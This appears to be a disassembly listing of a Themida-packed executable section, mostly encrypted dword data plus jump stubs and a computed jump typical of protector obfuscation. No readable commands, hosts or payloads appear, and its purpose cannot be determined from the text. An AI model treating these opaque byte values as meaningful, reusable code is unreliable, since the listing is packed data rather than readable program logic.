		dd 99E28E21h, 832E3D3Fh, 0E9E8292Eh, 40h, 1DF3958Fh, 416C7452h
		dd 636F6C6Ch, 48657461h, 706165h, 140000h, 0Ah dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5FFB1C
; ---------------------------------------------------------------------------
		push	61B295Dh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61B2A50h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61B2CE9h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61B2E26h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61B315Fh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61B3223h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61B3262h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61B333Fh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61B33D8h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61B342Dh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61B35EEh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61B36C7h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 1Ch,	0CEh, 88h
		dd 98B6082Ah, 86C4183Ah, 9FB10228h, 88CC193Fh, 0D734FB2Ah
		dd 0C6ECCA8Ah, 0DCFEDC76h, 0BFE1C187h, 0F300DE6Eh, 0DC1D79ECh
		dd 0B3E616B8h, 0C5C5230Ch, 0EEB8F43Fh, 6CBD7CE6h, 0C3E4C3E0h
		dd 9DB53892h, 0ED9C0110h, 109DB571h, 6EE81D3Ah,	37109DB5h
		dd 0C313B7D6h, 915BBA8Bh, 0EF5DF0D2h, 859815Eh,	7F1E3281h
		dd 78D06375h, 79F3E9h, 0F51B7057h, 0EA40DCEDh, 11DB79C8h
		dd 0CD1B6EBFh, 3455B485h, 0C945B897h, 92109DC0h, 4A6B6973h
		dd 23B2D368h, 80015031h, 72C38D1Eh, 3A87C913h, 4396BC1Ah
		dd 371B3809h, 7A9BAAAAh, 7FCD6072h, 0D5C7E5Fh, 28417D47h
		dd 2F5E815Eh, 109DC0B3h, 82CF197Ch, 1E2A7DA5h, 8706CE4Fh
		dd 168EAF2Ah, 720352B3h, 0A8AAB14h, 0FE4FFD50h,	73C288DCh
		dd 0EC96335Dh, 4E97F65Ch, 572547C4h, 0FF5AAD10h, 3Fh, 0C8BEA363h
		dd 0E7E9C4EBh, 0F229F023h, 9978EDEAh, 6A168F7Fh, 1A3D1A2Bh
		dd 8B706FEBh, 0F1D5380Ah, 0A6E5EF63h, 0A8B7028h, 5676137Fh
		dd 5AAC5186h, 0E4603F68h, 92AA34B4h, 110D34Ah, 0BD670000h
		dd 6D51E06Ch, 0CB47B6E0h, 0FF109DB4h, 4FCE9FAFh, 0DFFC9D00h
		dd 50E169FBh, 0CDF006Bh, 0B2D3D303h, 4697BB2Ah,	9CF66748h
		dd 65109E7Eh, 7ED53120h, 7F9E109Eh, 6F9EC11Eh, 109E7EF3h
		dd 0E67559BCh, 0C403626Ah, 0ED3D4ADEh, 0D0310061h, 0BEC352EBh
		dd 844CBC92h, 6D4DFF52h, 9E047DFEh, 0DAACFD10h,	16A35E75h
		dd 0F9D9B82Ah, 86D7FBDCh, 0D83B97C6h, 8104109Dh, 88C41537h
		dd 20667BB9h, 0DD6F5283h, 0C548168Eh, 0DA70C4E6h, 9DC4C412h
		dd 0C5EDCAE9h, 8CC61675h, 993D5CEDh, 0D4350448h, 33987D0Ch
		dd 0F6E11075h, 7F65B39Fh, 0D4915B10h, 0A13012B1h, 9A2E14B3h
		dd 109DA1B0h, 0BD9B2544h, 53064E9Bh, 79FB3BC9h,	5F726FFEh
		dd 1A00000Eh, 62C8ACCh,	163C9AB4h, 82A88C2h, 173999B7h
		dd 0F92C8ACAh, 0CC88D536h, 0D67CCCEEh, 0CB7DD2F8h, 0D874C5EBh
		dd 7FEEF1FAh, 16B8DE23h, 0BD89B5ECh, 0E3C7E470h, 2B6AFB53h
		dd 3C8DB3A1h, 2E4FFB4Dh, 0BEA33290h, 0B57FDB0Ah, 0C548109Dh
		dd 72807A4h, 9DB57CD6h,	0D14CAD10h, 0A47326B4h,	1F6E7697h
		dd 168EC63Eh, 4EBF8E0Fh, 0A8AB5D0h, 280F3827h, 0FE4EDF67h
		dd 21A4BDD9h, 0B0DC6D97h, 5AAC86E0h, 0A648h, 6CBDEE00h
		dd 0E06D51E0h, 5785774h, 109DB489h, 70DE7052h, 311DAD11h
		dd 26C938A7h, 0A6109DB1h, 0B7993913h, 19172626h, 3119B6D0h
		dd 3623ADA1h, 0E4D2E19h, 7A9F58C3h, 7B2E1372h, 8607168Eh
		dd 8501E828h, 0C6C3B726h, 59BC1074h, 4B09587Ah,	59F3466Ch
		dd 113F8908h, 0EEECA22Fh, 0DB8D169Ah, 9D255839h, 0BE79FAF0h
		dd 0D6C322Fh, 0C10D0000h, 0C3133595h, 0B3052B8Bh, 0C2113797h
		dd 0BB0A308Eh, 250A3999h, 0FBDB79C8h, 0EBCB87D5h, 0F8D672C5h
		dd 0EDCD7FD2h, 108AFBE4h, 0D916B8DFh, 70BD9EC0h, 51E4C6E4h
		dd 0C27DDBFBh, 7BA990DDh, 0B0D160E8h, 0B5B7250Bh, 0F198292Bh
		dd 755AEB5Fh, 5C5989C3h, 82E3826Bh, 77D30225h, 40109DDBh
		dd 725413DDh, 1E4D6DDFh, 109DDAC0h, 0C3E369FCh,	0A3004CDDh
		dd 4A582E7Fh, 3C75CABAh, 21C00869h, 76D00522h, 0AA109E55h
		dd 0EB2A391Bh, 0EE5EEFE1h, 0A3E97B5Fh, 9E54D832h, 1D7CA110h
		dd 94B60A4Ch, 7B1082C5h, 55E6648Ah, 1FC77DA2h, 20FBF04Dh
		dd 9DCA71EDh, 0BADB3A10h, 0BF8D2032h, 0FFF5C31Fh, 0B897A341h
		dd 9DCDC945h, 1BD0FA10h, 0E646F83Ch, 6ADE7159h,	11DBBADBh
		dd 988Ah, 0BEA3B000h, 0BF7AEBC8h, 48168E91h, 8F7CD607h
		dd 21B00A8Ah, 54E32233h, 0E7639231h, 0B00A8A8Eh, 8BAF0C6Dh
		dd 0C342133Bh, 0BB1B6AF9h, 120A8A8Eh, 1BD90378h, 0C35AAD3Ch
		dd 5Dh,	0B5117097h, 2E33109Dh, 9577B58h, 75527F49h, 8C54004Dh
		dd 8EA9B8FDh, 0EECC5116h, 86D77DCCh, 68473F2Ah,	7B87D4F5h
		dd 1DAD9510h, 8A1E2031h, 0CA17A1C0h, 0F2456B4Bh, 0C0A90756h
		dd 0F574E9C6h, 760A6861h, 5EAA2459h, 1273FE64h,	0DAF81DCAh
		dd 0C884D5FDh, 85D01879h, 8FEh,	70E5C229h, 109DB516h, 0A36BEDFh
		dd 0D508A7DFh, 168E85D4h, 1773E2E5h, 0E00A8A85h, 0FC8DDCBDh
		dd 0A8A849Eh, 0FC2099F5h, 5AAD363Ch, 1AA4h, 0C4133700h
		dd 64BE2F8Ch, 2D0A8A8Dh, 7076E0E8h, 109DB512h, 0FB8CB411h
		dd 0C21AFFFFh, 0BA0250E0h, 0CC60637Eh, 4DC01F7Eh, 168EA5F4h
		dd 0B0411075h, 0A8AA452h, 0C0EC5DA9h, 5AAD09F0h, 6E1FB092h
		dd 0C71170DAh, 55450h, 0F03F6300h, 28B0D160h, 4BE0C2AEh
		dd 892D6CFDh, 0C647163Ah, 0B6D7D8FEh, 86C418ABh, 1495C8E7h
		dd 25168EA6h, 0A357B322h, 0FD200A8Ah, 0ED203F9Ch, 0A8AA371h
		dd 11DB3Ah, 4572EA8Dh, 0AA1950B3h, 75523315h, 0B6676900h
		dd 88FDDA66h, 5AB2530Eh, 365AF0D7h, 0CEE1FCAAh,	45C825AFh
		dd 60F3D7F4h, 8DD4E0E8h, 5CABDAF9h, 3960A074h, 0B2EF5E0Eh
		dd 567DC159h, 0E17ADF1h, 0B330B837h, 0F9493C8Fh, 0E4253455h
		dd 0D4092685h, 549BCF7Ah, 0DDFAC243h, 0CBE864F5h, 5863BBE4h
		dd 0B0634806h, 0ACAA3229h, 64193386h, 0CA225EE8h, 0D31B36F5h
		dd 0A600000Ah, 0BAA03E18h, 0A2882628h, 0BC9E3C0Eh, 0A385252Bh
		dd 0ADA03E16h, 78DC6982h, 6AE8785Ah, 77D1664Ch,	6CE07157h
		dd 2B5A854Eh, 16B8E0AFh, 0BD3D2178h, 0E4C3E06Ch, 9DB51571h
		dd 0C31F4E10h, 8C109DB4h, 0F4DB3A09h, 0DC6344Eh, 0B02FB94Bh
		dd 0BA196D74h, 8F41024Bh, 0A3ECD316h, 9FF36D9Dh, 355815DFh
		dd 2A20B496h, 0B592B5A2h, 8B71C640h, 0E668FA0Ah, 0AAAC3459h
		dd 0AE943315h, 0A2FC7119h, 6B0A8B71h, 53814B2Ah, 52005072h
		dd 183A8203h, 45B485C3h, 0A8B71C9h, 8B6252B0h, 196D740Ah
		dd 4BBA9DBAh, 0A8B61CFh, 1C6B7598h, 107C5851h, 3BCA9BFAh
		dd 47841DBh, 0B463D832h, 0CA123C8Eh, 9B674212h,	0D2032450h
		dd 4783678h, 8D14DC41h,	2Fh, 0E0DDC2B1h, 5B862824h, 2204DE86h
		dd 38596675h, 295D84B0h, 0DCBA5B8Ah, 577B168Eh,	9AFB4A0Ah
		dd 53709552h, 646CDC6Fh, 2FC805h, 0C2660000h, 0EA3D4EE0h
		dd 4C9B3F5Eh, 0CD43504h, 0EECDB9B0h, 8EBFD67Fh,	2B103716h
		dd 9FFEDDBEh, 0F95BEACCh, 0E91C3B98h, 0A8AB26Dh, 5E0DD736h
		dd 0E06CBD04h, 23BDC96Dh, 6E6B0286h, 996h, 0DFFF57E3h
		dd 0C5E569F9h, 0D9F951E3h, 0CAE868F7h, 0DBFB59E8h, 972647E8h
		dd 0AD3B1DBDh, 902305A5h, 0A5381AB8h, 153A07A7h, 0B8E366E0h
		dd 48FA2F16h, 0EBC8BEA3h, 0B53D99CCh, 8706109Dh, 0B4ED203Dh
		dd 0F5168EA5h, 2C7DC190h, 0D9F8320h, 88A5B33Dh,	18EEFC9Fh
		dd 8AA369E5h, 0ECD3320Ah, 67962C86h, 0A89D8EBh,	0A83051B4h
		dd 0C2B27859h, 354D9A31h, 36509995h, 2C20B199h,	7F46B7A4h
		dd 0E0E92FA8h, 18AAACBDh, 51989836h, 7A679635h,	23E31C88h
		dd 0A42253E2h, 0FBD71871h, 2D2FA8Fh, 0AA653B5Bh, 145h
		dd 70E5C290h, 109DB516h, 0A36BEDFh, 0D508A7DFh,	168EA5BCh
		dd 8AC998FDh, 963816A8h, 0DD3C0D47h, 0DC70C113h, 89DCFEh
		dd 7091A0AEh, 0D0B14011h, 9D31C37Eh, 0F33E455h,	5DBC8DBDh
		dd 9EF04193h, 3F6AF36Fh, 3859BCE3h, 2525B79Bh, 0BFA0BD9Bh
		dd 3F6AD44Eh, 70789DE3h, 0B081CB5Eh, 0C541B493h, 8EE33F6Ah
		dd 4746C50Fh, 910A7844h, 0A538EA5Fh, 92607A7h, 0F4307AD4h
		dd 0FAC243BBh, 76C785D8h, 79562E3Ah, 0F42FAA04h, 0C33BBh
		dd 95BD0BB1h, 0FCF1E22Eh, 0E8013D9Dh
		dd 0CDCC419Eh, 9EC1E4E9h, 59ECEE7Fh, 5CEDD3F3h,	63ECD3F0h
		dd 6EEAAD44h, 71F0F8h, 0B5E1529Eh, 15CD3EB0h, 9F4CC2C4h
		dd 83D27ACBh, 42069D02h, 0E615B5D4h, 0A0CA80Eh,	28251C03h
		dd 0A18229EFh, 0BEC41B17h, 0A5A73A20h, 5D996594h, 94FEC7C8h
		dd 52FA4BF7h, 93FB4E74h, 4458E862h, 4A6CB1BBh, 253455F7h
		dd 7A4E207h, 9CAE0228h,	0C11D4CCDh, 8ABB4458h, 3616A70Bh
		dd 1DEE627h, 353C458Ch,	4867A6C1h, 717BCD62h, 0F0654263h
		dd 0B5313596h, 82D375CAh, 7D13403h, 4ECCh, 79CBEF00h, 0A20180D1h
		dd 3135D733h, 737DA0B5h, 0C8BEA3E9h, 0AAE3CCEBh, 0D6ED66CDh
		dd 0D1700FD9h, 22168F1Ch, 0DE7052E3h, 7A6D5270h, 3388AA7Fh
		dd 796FCB15h, 0E539AC0Bh, 0E0A8B11h, 0A2B3992Ch, 890C5963h
		dd 59B9052Ah, 5D78854Fh, 0BD223C93h, 0C6C2E06Ch, 99CCEB9Bh
		dd 168E9E34h, 72B880Dh,	143694B4h, 7CB889BFh, 53822165h
		dd 107B852Ah, 1C3B0A8Bh, 57E5A236h, 4ACB9AFBh, 60830382h
		dd 0DEC40477h, 7DB9034Dh, 9A852264h, 0D28F3DCh,	63F1D575h
		dd 0B53F5EEFh, 76835A8h, 0C6110A68h, 5B7FC599h,	2E1CB02Bh
		dd 0FE9FFE1Fh, 0A9C01E6Fh, 6CFCFE64h, 0ABBA9223h, 183A0B6Ah
		dd 0DC76C6C7h, 0DC6D0C8Dh, 361F9C36h, 388AB0AFh, 0B5034716h
		dd 2C4DCC9Dh, 26D16AA4h, 2A8ADA01h, 2E8D7139h, 646163BFh
		dd 0DFE92CFEh, 8746B977h, 2C214Eh, 0A3350000h, 7AEBC8BEh
		dd 168EA2DBh, 0D04ABB9Ch, 990A8A9Dh, 9EFF6C74h,	17AA90CFh
		dd 0B6272435h, 0A8A9E5Ch, 3781E025h, 351Ch, 0BEA3C200h
		dd 928E7602h, 14754051h, 0DCAF98B7h, 0D8A03026h, 0B65FAE36h
		dd 17168F77h, 476867F6h, 8B60BC16h, 0F361F00Ah,	0F1142362h
		dd 6127A3D2h, 0ADF00A8Bh, 6CBDB923h, 0BDD36DE0h, 31F88623h
		dd 65D14h, 88CE1C00h, 98B6082Ah, 86C4183Ah, 9FB10228h
		dd 88CC193Fh, 0D734FB2Ah, 0C6ECCA8Ah, 0DCFEDC76h, 0BFE1C187h
		dd 0F300DE6Eh, 0E61D79ECh, 0B3E616B8h, 0F4DDC28Fh, 0B50C1C24h
		dd 0BA1C32BAh, 21BEC821h, 82C81C3Eh, 0FB8A52B3h, 168ECD7Ah
		dd 85AD0A8Bh, 0CC4D1C38h, 0BB4E59E7h, 0AA32D7A0h, 782A64E9h
		dd 0BFE3CCC8h, 57B32270h, 204843E4h, 0A73A9CFDh, 6B7594A5h
		dd 4F6C1A4Fh, 34D52B1Eh, 50E1244Eh, 0A5215473h,	6E4230D1h
		dd 5099A52Fh, 47B69936h, 4230D1CBh, 6A677194h, 21AB46FBh
		dd 815EBF48h, 67ED7C5Eh, 915BF343h, 4E9BEE3Fh, 0B7D63706h
		dd 0C0143617h, 0BD10428Ah, 0A034DA8Fh, 0A645B1A3h, 599ABh
		dd 452E000h, 1C3284A6h,	2489CBEh, 232D7EA4h, 44109D83h
		dd 93F83766h, 8AB00E46h, 98BA183Ah, 83A50543h, 0AFBC1A32h
		dd 0E6E13DB0h, 77AA16B8h, 0E06CBDCBh, 23BDA76Dh, 845E486h
		dd 55Ah, 0E3C3931Fh, 0C1E16DBDh, 0DDFD4DDFh, 0C6E46CFBh
		dd 0DFFF55E4h, 9B2A43ECh, 0A93719B9h, 942709A9h, 0A13416B4h
		dd 213E0BABh, 0B8E772ECh, 7CE63B16h, 0B3226CBDh, 109DB557h
		dd 0CD9CFD20h, 0F9497A6Fh, 66973455h, 1686929Eh, 0E4248203h
		dd 0BB2A89FDh, 10737D96h, 6E9FAEEFh, 46F76F0h, 0E2ECB47h
		dd 5090244Eh, 0AAF6h, 0DEB94C00h, 0FDDAACB5h, 8EA5E988h
		dd 789BFA16h, 87958FD5h, 22647DD9h, 86D95085h, 654A4174h
		dd 0E4288BF0h, 0B89827DAh, 33520FD9h, 0C842B394h, 91356FB6h
		dd 2625C40Ch, 529AB004h, 2C8BFBE6h, 5DCB8AB9h, 3996F73Bh
		dd 0BE8FC311h, 6748955Fh, 0A5BF343h, 0BE0F418Bh, 0B909318Eh
		dd 7B45C495h, 9FEA7B5Dh, 90F14010h, 43C27CF1h, 3CEBA4DFh
		dd 47D21h, 0E86EFC00h, 0F856E8CAh, 0E664F8DAh, 0FF51E2C8h
		dd 0E86CF9DFh, 3754DBCAh, 260CAAAAh, 3C1EBC96h,	1F01A1A7h
		dd 5320BE8Eh, 0E87DD90Ch, 0D34616B8h, 94C46Fh, 0A36A0000h
		dd 7AEBC8BEh, 168692C2h, 0C1E9C647h, 85C91970h,	0A0EB8FB4h
		dd 0A4DE361Dh, 2406A4C5h, 8EAABB91h, 73E17053h,	0E5C2A3E2h
		dd 7353DD70h, 15A48610h, 0E5EF2E3Fh, 5BED4288h,	5BEA8B0Ah
		dd 0B02A5B7Ch, 79046F52h, 7970CC14h, 0A991AE0Dh, 5BAA3216h
		dd 0A60460Eh, 692356B7h, 7E73E248h, 3E4F2EFh, 49950000h
		dd 3B8BAD0Dh, 3B8DB313h, 3A89AF0Fh, 4392B816h, 0AD82B111h
		dd 4363F140h, 2383CF5Dh, 409EAAFDh, 2585C71Ah, 48C2331Ch
		dd 1116B8E8h, 1670A698h, 0FD109DB5h, 109DB49Dh,	0FFDCAABFh
		dd 8692C68Eh, 5BEA2B16h, 0F366E677h, 80089603h,	8FA8A544h
		dd 0EA000003h, 0F6DCFA5Ch, 0E6CCEA64h, 0F8DAF852h, 0E7C9E967h
		dd 0E9DCFA5Ah, 0BC982546h, 0A6AC3C1Eh, 0BB8D2208h, 0A8A4351Bh
		dd 0EF1E410Ah, 16B8E973h, 0C279E53Ch, 2A22E2DDh, 0B61D2DA9h
		dd 60F70611h, 70626ABDh, 0E23CB1DDh, 0AB109E43h, 0FE3A0B6Ah
		dd 0FE4CE0E3h, 70C187DCh, 22537011h, 168F3D5Bh,	0A7959BCh
		dd 58188804h, 60950150h, 0BBD480E6h, 0AF0F6EAFh, 49183C89h
		dd 318EF4EBh, 8183DF0Eh, 0B4CBBD4h, 0D48180DAh,	0A5C449BBh
		dd 171E01FEh, 0C00837BEh, 6CBD3892h, 0DC6D51E0h, 0B565270h
		dd 482927B8h, 0A2BFFA6Bh, 248168Eh, 0DEFD9CAEh,	4D27CFF9h
		dd 1048D5C0h, 529FF0C3h, 0DF8E5637h, 89BF30AEh,	6F58870Ah
		dd 3371139Fh, 0A800A724h, 22EC580Dh, 2BA0EAF2h,	0ADD83301h
		dd 399B5Ah, 0A3BF0000h,	96B205BEh, 882746C7h, 8E987455h
		dd 71C04516h, 8A878200h, 0E56FBE0Ah, 6CDE7254h,	1E9B35DDh
		dd 878A0479h, 32530A8Ah, 8B008A53h, 0AD399361h,	0F43B5Ah
		dd 0BD1F0000h, 7251E06Ch, 0CD04474Dh, 4D97B64Bh, 0C796BE0Bh
		dd 3C0EA288h, 0F2E4EC2Dh, 0AA5A275Fh, 5C1D82BEh, 2ABC9E3Dh
		dd 0B3AD5D5Eh, 0F5943032h, 4C9B2564h, 3595B70Ah, 0A49A2F18h
		dd 0A28D286Eh, 3548EB1Ah, 75C8109Eh, 80D1F7D7h,	2A3F7DCCh
		dd 34F36F9Eh, 59BC109Eh, 93B49B38h, 0E03E6D1Dh,	8DFC41C6h
		dd 939D4726h, 0C2B0C49h, 9E797DD9h, 0FDC74610h,	8F4A238Eh
		dd 6949CC16h, 7552342Dh, 75B06600h, 912E6F10h, 25C91AEh
		dd 0CB04759Eh, 150824Ah, 0C8B0408Dh, 0F6E4E68h,	183C89AFh
		dd 0FB4B7765h, 0C805A479h, 1CEh, 97371FABh, 8D2D21B1h
		dd 913119ABh, 923020AFh, 933321B0h, 0CF5E8FA0h,	0B5032585h
		dd 0C81B3D9Dh, 0AD002280h, 2D323F9Fh, 0B8EA5EB8h, 50F22716h
		dd 0C6E470BDh, 0DCFB51E4h, 1A2161F6h, 4100EAFBh, 0A0A2B3D2h
		dd 9721400Eh, 0BEA31FB9h, 0C796B205h, 9D496B80h, 83E26BF4h
		dd 0DEBF8F1Fh, 8C01DE01h, 109EA612h, 0D332BADBh, 168F89F2h
		dd 82F342C3h, 0A8B7A04h, 729A2F5Bh, 5AAC2FA2h, 960Ah, 0DDC23000h
		dd 2ED1844Bh, 3A1CA4C9h, 2106A5A7h, 0CD10AE00h,	2CBB05BDh
		dd 0A8B99B2Ah, 9E4FD659h, 49035610h, 59F7486Ah,	0CE5F418Fh
		dd 98D1EF7Eh, 519CD1EEh, 0FA168F20h, 0E6FB3B9Bh, 0F7D203A0h
		dd 0C010757Bh, 0D5C7E5Dh, 0F4416747h, 8019ED60h, 7B3279FBh
		dd 0F55Eh, 20368400h, 400EA082h, 5EEC4062h, 47095A80h
		dd 60F44167h, 0AFDC5342h, 0AE943222h, 0B496341Eh, 0A789291Fh
		dd 0CB983616h, 0EAF55184h, 6BBE16B8h, 0E470BDF7h, 73C1E9C6h
		dd 72C315DFh, 0BD5EFCDAh, 0C08C1D6Ch, 1EAE1071h, 0C2045534h
		dd 0C1FDDD6Fh, 71ED20A8h, 3A109DB5h, 0D89FCDBh,	0D6109DB5h
		dd 0D1F9D6B7h, 0D805CF83h, 8692C7A5h, 20315416h, 0ACFE8B1Eh
		dd 41B493A2h, 0A828EC5h, 0F6E0F8Eh, 143889AFh, 93240645h
		dd 26A7ACBDh, 5E71EAF3h, 4DBC0465h, 559C829h, 0AB39213Eh
		dd 56F31DA7h, 943319ACh, 3721AAEh, 0EE99B487h, 9DACCD50h
		dd 4466747Ch, 0CD0A5BF1h, 872289E2h, 0AC1683Fh,	83DBC04Fh
		dd 478953FDh, 0D30958F8h, 0DF722099h, 0DA6B4D6Dh, 43C541B4h
		dd 0F8EEE99h, 1C66516Eh, 171004Dh, 0C3005F69h, 300151DFh
		dd 3CC07D1h, 72000000h,	71BDE17Bh, 0DF7254E5h, 65FADC6Dh
		dd 0E07052E3h, 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h
		dd 2ABC9EAFh, 52221524h, 0C281E289h, 4,	4EA81h,	14870000h
		dd 14895C24h, 73F56824h, 0C890000h, 4EC8324h, 68243C89h
		dd 61B275Fh, 81240C8Bh,	4C4h, 26E46800h, 24890000h, 24048124h
		dd 4, 0CA89525Fh, 8B085789h, 0C4812414h, 4, 5F2434FFh
		dd 4C481h, 34FF0000h, 0C4815924h, 4, 0F84917E9h, 359522FFh
		dd 4D8916A9h
; ---------------------------------------------------------------------------


loc_5FFB1C:				; CODE XREF: Themida_:005FE9ACj
		mov	eax, 61B37E1h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 24h,	16h, 0F3h
; ---------------------------------------------------------------------------
		or	bl, [ebp-65EF6748h]
		push	0FFFFFFBDh
		sbb	[edx+6C37D755h], edx
		retn
; ---------------------------------------------------------------------------
		db 44h
		dd 0AAAA5775h, 30914F5Eh, 2873B572h, 0E4152D67h, 7616B62Ah
		dd 5A6CF762h, 35952B55h, 6DF9230Dh, 8232F039h, 7F030A4Bh
		dd 0C7697E34h, 0B65FAC63h, 0B5972A6Dh, 0C4710629h, 0BB93209h
		dd 0A20A8512h, 0BCC76F7Bh, 9F220416h, 0FF8F4A3Eh, 0B925F206h
		dd 5598572Fh, 0CE9B4529h, 9341A97Ah, 0AA12860Dh, 0E2E254Fh
		dd 14E97Ah, 70AE0000h, 1D32h, 3	dup(0)
		dd 2E90000h, 0AE000005h, 0B2983620h, 0AA902E20h, 0B4963416h
		dd 0AB8D2D23h, 0A598361Eh, 80D4618Ah, 0A2B00022h, 0BF891E04h
		dd 0A4A8391Fh, 0E3123D06h, 16B8ED67h, 0C245F930h, 12434FE0h
		dd 109DB4B8h, 737D1C81h, 0ED7CD061h, 0DAF85CE9h, 587D5FDh
		dd 96CB6F35h, 18294874h, 4CDDEFF9h, 0BC0D3100h,	2D7DC190h
		dd 9C2E1021h, 5CED5DEFh, 0C90D5C3Dh, 3D82D377h,	0E6FF2A19h
		dd 0D3BFE069h, 76FC4F36h, 0B86D5205h, 30CE6045h, 9DFF9F04h
		dd 0D384FF11h, 0D676C709h, 0DD85CEF9h, 6DF7A37Bh, 0E3C8851Ah
		dd 9D2772A7h, 24699BFh,	1F297EA4h, 96BC0C4Eh, 92500E39h
		dd 89D878C7h, 553A308h,	27BAE1ADh, 465897Dh, 0B5372DBCh
		dd 51398E44h, 9E07C21Ch, 6B0A8B10h, 78D4654Bh, 83998E9h
		dd 18B2109Eh, 79CEF4A3h, 9F5D05CFh, 47A341B9h, 76h, 1D6CBD1Bh
		dd 0CA1BBF8Bh, 3352B382h, 0B575D322h, 1CAD109Dh, 0F77D096Ah
		dd 84E5A1FDh, 0D4191B5h, 1A45173Ch, 7D8E55C7h, 0D2C3385Ah
		dd 2C9D2Dh, 0A341F830h,	198h, 0E0C2BE00h, 0D3320351h, 0D777C709h
		dd 5CF24486h, 59ECCE0Dh, 58E7E9F3h, 0C9F669F8h,	0B51B77E6h
		dd 0A1E4109Dh, 0A65CED17h, 0BB9C3A14h, 0BC044497h, 0A605479Ah
		dd 0E42FE81h, 0F0F8E5DEh, 70BD48E2h, 0E17155E4h, 9C36DC6Dh
		dd 6EE6731Fh, 75D76A50h, 0FC4EE2E4h, 7857846Dh,	9DB48905h
		dd 0A9335210h, 0E2C2EA5Fh, 4AA341E8h, 63h, 0E470BDF0h
		dd 6BDF7155h, 7DD7664Ch, 0C423ADECh, 0B86ADF13h, 0AA8B2B29h
		dd 49183688h, 7FCE00C8h, 604784D5h, 0EA787D88h,	0E6E8F012h
		dd 836AFB55h, 9A4A7207h, 42A341A6h, 47h, 0E470BD18h, 6ADE7155h
		dd 9FFB6A4Dh, 68109DB4h, 0B4C9B25h, 0A8CDEBD4h,	0FEA5A73Ah
		dd 757FE263h, 65F49E1Bh, 0BD71CFEFh, 7350E16Dh,	5EDBB64Ch
		dd 0FAC26D08h, 9E190A8Bh, 72078310h, 418E8A4Ah,	132A3h
		dd 0BD080000h, 0D700DF6Bh, 0B288EB84h, 11D01868h, 0A1B09C2Dh
		dd 1AC841ABh, 92684C6h,	0DD5BB726h, 0E124109Dh,	86DBD7h
		dd 32A384A3h, 109DDCD8h, 48577CA1h, 0C36FCC9Fh,	27F6955Fh
		dd 0D8168F4Eh, 113916B5h, 80DA8BBFh, 490A8B4Ch,	0C5F44FFEh
		dd 0FF9EE740h, 15476F5h, 674B6C4Bh, 0A9E879D9h,	8AEB5EB8h
		dd 0DEE6270Ah, 0C587DA00h, 0EA870574h, 0D2C00A8Ah, 51388939h
		dd 9DFC4D01h, 69FCDEFCh, 0DD7052E3h, 0EAE23CB1h, 0ACAB0A8Ah
		dd 8AEADD39h, 667A60Ah,	0A230D667h, 64E87929h, 0DC2EEE46h
		dd 26965AACh, 0AC000001h, 0EBC8BEA3h, 8EBC377Ah, 0C71A4016h
		dd 8B55B485h, 0B1AEBFDEh, 45143889h, 87DAFCC4h,	70C4E6C5h
		dd 0DEC412DAh, 80A2014Bh, 0AD01592Dh, 0CD9415FFh, 81C524ACh
		dd 480C5930h, 17A88A29h, 0DFE92839h, 7B107A80h,	0F8D676C7h
		dd 0AD139C5Ch, 53445Ah,	0A31A0000h, 0C1E9C6BCh,	0B8ADB6Fh
		dd 0C56194C1h, 0CE6F624Bh, 615CA389h, 9B3815A2h, 9DBFF06Ah
		dd 3554B990h, 62002724h, 7C76B2F9h, 900A7B58h, 59909E94h
		dd 15DAC34h, 3909E95h, 3F28F089h, 11202E80h, 0C33291F0h
		dd 0EF632C27h, 0F2CDED30h, 81h,	0C8BEA350h, 7AEBCCEBh
		dd 109DB520h, 0ED1CA4E9h, 168EA1E0h, 0D1F544C9h, 0CCEECC80h
		dd 0F382D379h, 0A8AA090h, 7FCE7CD0h, 0F4450D5Bh, 281DAEE0h
		dd 476F5887h, 2BFCB987h, 8C243E1Ch, 0C5241D27h,	4AF891FBh
		dd 397555F7h, 9419330h,	1BB8D938h, 730644EAh, 11206510h
		dd 0A1B09C2Dh, 1FC841ABh, 0ECBD2738h, 2465F45Ah, 58837E7Fh
		dd 493D2490h, 5BF9486Ah, 14418B0Ah, 57D639E1h, 9B3B5A0Ah
		dd 70E5C23Dh, 109DB516h, 0CC1CBEDFh, 8E56B786h,	704F3732h
		dd 0A1FD704Fh, 6A109DB4h, 0BC62A12Bh, 0DD16868Ch, 14A5A9B8h
		dd 92BD9A38h, 7EF59017h, 42945C80h, 7D0C5DEFh, 5990AE3h
		dd 0A55DEE24h, 0B89A3814h, 34162725h, 0F85AEAA3h, 0F8492869h
		dd 6111AAE4h, 815E7CD0h, 75B32F5Eh, 197CEF58h, 9D2723B5h
		dd 13222ABBh, 0A36h, 0E0C29C00h, 0D3320351h, 0BDDB8509h
		dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
		dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah,	81E78957h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0BC68240Ch, 89000049h
		dd 2B68243Ch, 89000013h, 0BD552434h, 61B38F1h, 2C8BEF89h
		dd 4C48124h, 83000000h,	248904ECh, 24048324h, 81575E04h
		dd 7C94242Ch, 468F2156h, 8468108h, 21567C94h, 5624348Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 3C8B5C24h,	0E3895324h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 0F84377E9h, 0DD1C1EFFh
		dd 0DD0846FBh, 3D66B84Fh, 0C503061Bh, 4344E0FFh, 0EB6E4E2Ah
		dd 0BF7C656Eh, 5280AB4h, 5EEF4C26h, 0B81E2D36h,	875428CDh
		dd 1DA87ADBh, 0D8E96519h, 104457AFh, 32B76A4Eh,	8E703DBDh
		dd 65EC3628h, 82FF67B5h, 8A5C20BCh, 0B974290Ah,	40557463h
